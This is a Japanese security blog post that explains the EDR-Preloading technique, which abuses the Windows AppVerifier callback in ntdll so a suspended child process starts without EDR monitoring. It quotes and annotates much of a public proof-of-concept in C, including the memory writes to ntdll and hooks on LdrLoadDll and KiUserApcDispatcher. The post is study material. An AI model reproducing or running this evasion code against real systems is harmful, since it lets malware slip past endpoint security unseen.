見出し画像

#163 EDR-Preloading

 あけましておめでとうございます。2025年もセキュリティ頑張ります。

EDRバイパスの手法、EDR-Preloadingに関する記事を読みました。

簡単に言えば、EDRのDLLがプロセスにロードされる前に、好き放題しようというのがコンセプトです。似た手法として、Early Bird APC InjectionやTLS Callbackがありますが、これらは長らく使われてきたので、EDR側も対策を講じています。EDR Preloadingは、あまり注目されていないAppVerifier Callbackを使うことでEDRをかいくぐります。

流れ

  1. AppVerifier Callbackのポインタを探す

  2. Callbackが任意コードを実行できるようセットアップする

  3. Callbackを実行し、EDRのDLLがロードされないようにする                                                          

コード

PoCが公開されています。

メインの処理を追ってみましょう。

void EDRPreloader(char* file_path) {
	PROCESS_INFORMATION pi = { 0 };
	STARTUPINFOA si = { 0 };
	HMODULE ntdll = GetModuleHandleA("ntdll.dll");
	HMODULE kernel32 = GetModuleHandleA("kernel32.dll");

初期化ののち、AppVerifier Callbackのポインタを取得します。

	// find the address of ntdll!AvrfpAPILookupCallbacksEnabled
	ULONG_PTR avrfp_address = find_avrfp_address(GetSectionBase((ULONG_PTR)ntdll, ".mrdata"));
	if (!avrfp_address) {
		printf("failed to find address of ntdll!AvrfpAPILookupCallbackRoutine\n");
		return;
	}

この後で、EDRのDLLがロードされていない子プロセスを立ち上げます。そこではほかのDLLもほとんどロードされていない状態なので、先にAPIのポインタを探しておきます。

	// we can't call GetProcAddress() in the child process due to kernel32 not being loaded, so we'll resolve ahead of time
	// we could always implement a custom GetModuleHandle() and GetProcAddress() equivalent, but why.
	g_ptr_table.NtProtectVirtualMemory = (t_NtProtectVirtualMemory)GetProcAddress(ntdll, "NtProtectVirtualMemory");
	g_ptr_table.NtAllocateVirtualMemory = (t_NtAllocateVirtualMemory)GetProcAddress(ntdll, "NtAllocateVirtualMemory");
	g_ptr_table.LdrLoadDll = (t_LdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
	g_ptr_table.NtContinue = (t_NtContinue)GetProcAddress(ntdll, "NtContinue");
	g_ptr_table.KiUserApcDispatcher = (t_NtContinue)GetProcAddress(ntdll, "KiUserApcDispatcher");
	g_ptr_table.OutputDebugStringW = (t_OutputDebugStringW)GetProcAddress(kernel32, "OutputDebugStringW");

サスペンド状態で子プロセスを立ち上げます。ここでさっき用意したAPIのポインタも渡してあげます。

	si.cb = sizeof(si);

	// start a second copy of or process in a suspended state so we can set up our callback safely
	if (!CreateProcessA(NULL, file_path, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
		printf("C() failed, error: %d\n", GetLastError());
	}

	// overwrite the g_ptr_table in the child process with the already initialized one
	if (!WriteProcessMemory(pi.hProcess, &g_ptr_table, &g_ptr_table, sizeof(PTR_TABLE), NULL)) {
		printf("Write 1 failed, error: %d\n", GetLastError());
	}

AppVerifier CallbackでLdrGetProcedureAddressCallbackが実行されるようにセットアップします。

	// ntdll pointer are encoded using the system pointer cookie located at SharedUserData!Cookie
	LPVOID callback_ptr = encode_system_ptr(&LdrGetProcedureAddressCallback);

	// set ntdll!AvrfpAPILookupCallbackRoutine to our encoded callback address
	if (!WriteProcessMemory(pi.hProcess, (LPVOID)(avrfp_address + 8), &callback_ptr, sizeof(ULONG_PTR), NULL)) {
		printf("Write 2 failed, error: %d\n", GetLastError());
	}

	// set ntdll!AvrfpAPILookupCallbacksEnabled to TRUE
	uint8_t bool_true = 1;

	if (!WriteProcessMemory(pi.hProcess, (LPVOID)avrfp_address, &bool_true, 1, NULL)) {
		printf("Write 3 failed, error: %d\n", GetLastError());
	}

LdrGetProcedureAddressCallbackは以下のようになっています。

  • これが実行されるより前にロードされたEDRを無効化

  • LdrLoadDllをHook(EDRのDLLが読み込まれるのをブロック)

  • KiUserApcDispatcherをHook(EDRがAPCにQueueするのをブロック)

LPVOID WINAPI LdrGetProcedureAddressCallback(LPVOID dll_base, LPVOID caller, LPVOID func_addr) {
	static BOOL hook_placed = FALSE;

	if (!hook_placed) {
		hook_placed = TRUE;

		// The PsSetLoadImageNotifyRoutine() callback for ntdll (and maybe kernel32) can be fired slightly before our callback.
		// as a result, some EDR DLLs could be mapped but not yet initialized. To counter this we'll replace the their entrypoints.
		DisablePreloadedEdrModules();

		// we'll hook LdrLoadDll() just for debugging purposes (we can use it to block DLL loads, but shouldn't need to).
		HookFunction(g_ptr_table.LdrLoadDll, LdrLoadDllHook, (LPVOID*)&OriginalLdrLoadDll);

		// we'll hook KiUserApcDispatcher() to prevent any APCs being queued into our process from the EDR's kernel driver.
		HookFunction(g_ptr_table.KiUserApcDispatcher, KiUserApcDispatcher, NULL);
	}

	return func_addr;
}

最後に子プロセスが実行されます。

	// resume the process
	ResumeThread(pi.hThread);
}

こうして、EDRの監視をはずれたプロセスを立ち上げることができます。

ブログでは、Windows10 x64のみで検証したとのことでしたが、AppVerifier Callbackのポインタのオフセットさえわかれば、ほかのバージョンでも使えると書いてあります。


まとめ

Early Bird APC Injectionに続き、EDR-Preloadingについて理解を深めました。次は、これらを組み合わせたEarly Cascade Injectionについて調べたいと思っています。続く…

EOF

いいなと思ったら応援しよう!